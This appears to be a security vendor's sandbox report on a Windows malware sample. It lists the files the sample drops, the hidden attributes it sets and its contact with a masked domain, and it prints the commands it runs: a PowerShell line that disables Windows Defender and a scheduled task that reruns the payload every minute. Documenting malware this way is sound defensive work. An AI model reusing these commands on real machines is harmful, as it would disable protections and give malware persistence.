Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\umar
Modifies file system
Creates the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\index.dat
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\5b0fe8ze\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\ty58dhnw\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\o6e11dxo\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\jgvlxvrr\desktop.ini
- %APPDATA%\microsoft\windows\cookies\low\index.dat
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\index.dat
Sets the 'hidden' attribute to the following files
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\5b0fe8ze\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\ty58dhnw\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\o6e11dxo\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\low\content.ie5\jgvlxvrr\desktop.ini
- %LOCALAPPDATA%\microsoft\windows\history\low\history.ie5\desktop.ini
Network activity
TCP
- 'fa###rtf.best':443
UDP
- DNS ASK fa###rtf.best
Miscellaneous
Creates and executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell New-ItemProperty -Path “HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender” -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;Set-MpPreference -DisableRealtimeMonitorin...' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /Create /SC MINUTE /MO 1 /TN "UMAR" /TR %TEMP%\SystemSecuryty.exe' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c powershell New-ItemProperty -Path “HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender” -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;Set-MpPreference -DisableRealtimeMonitorin...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' New-ItemProperty -Path “HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender” -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force;Set-MpPreference -DisableRealtimeMonitoring $true
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\syswow64\WININET.dll",DispatchAPICall 1
- '%WINDIR%\syswow64\cmd.exe' /c SCHTASKS /Create /SC MINUTE /MO 1 /TN "UMAR" /TR %TEMP%\SystemSecuryty.exe
- '%WINDIR%\syswow64\schtasks.exe' /Create /SC MINUTE /MO 1 /TN "UMAR" /TR %TEMP%\SystemSecuryty.exe
- '<SYSTEM32>\taskeng.exe' {9C38C349-7A55-44E4-8C19-BF49CE5FD560} S-1-5-21-1960123792-2022915161-3775307078-1001:ugbbmf\user:Interactive:[1]
